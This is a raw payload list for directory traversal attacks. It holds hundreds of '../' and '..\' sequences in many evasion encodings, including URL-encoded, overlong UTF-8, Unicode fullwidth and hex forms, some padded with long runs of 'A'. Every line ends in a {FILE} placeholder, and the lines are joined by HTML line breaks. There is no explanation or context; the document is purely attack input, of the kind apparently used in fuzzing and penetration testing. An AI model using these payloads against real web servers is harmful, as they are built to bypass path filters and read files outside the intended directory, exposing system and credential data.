AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\{FILE}<br /> .../{FILE}<br /> .../.../{FILE}<br /> .../.../.../{FILE}<br /> .../.../.../.../{FILE}<br /> .../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../.../.../{FILE}<br /> ...\{FILE}<br /> ...\...\{FILE}<br /> ...\...\...\{FILE}<br /> ...\...\...\...\{FILE}<br /> ...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\...\...\{FILE}<br /> ..../{FILE}<br /> ..../..../{FILE}<br /> ..../..../..../{FILE}<br /> ..../..../..../..../{FILE}<br /> ..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../..../..../{FILE}<br /> ....\{FILE}<br /> ....\....\{FILE}<br /> ....\....\....\{FILE}<br /> ....\....\....\....\{FILE}<br /> ....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\....\....\{FILE}<br /> ........................................................................../{FILE}<br /> ........................................................................../../{FILE}<br /> ........................................................................../../../{FILE}<br /> ........................................................................../../../../{FILE}<br /> ........................................................................../../../../../{FILE}<br /> ........................................................................../../../../../../{FILE}<br /> ........................................................................../../../../../../../{FILE}<br /> ........................................................................../../../../../../../../{FILE}<br /> ..........................................................................\{FILE}<br /> ..........................................................................\..\{FILE}<br /> ..........................................................................\..\..\{FILE}<br /> ..........................................................................\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\..\..\{FILE}<br /> ..%u2215{FILE}<br /> ..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> %uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> ..%u2216{FILE}<br /> ..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uF025{FILE}<br /> ..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> %uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> ..0x2f{FILE}<br /> ..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> 0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> 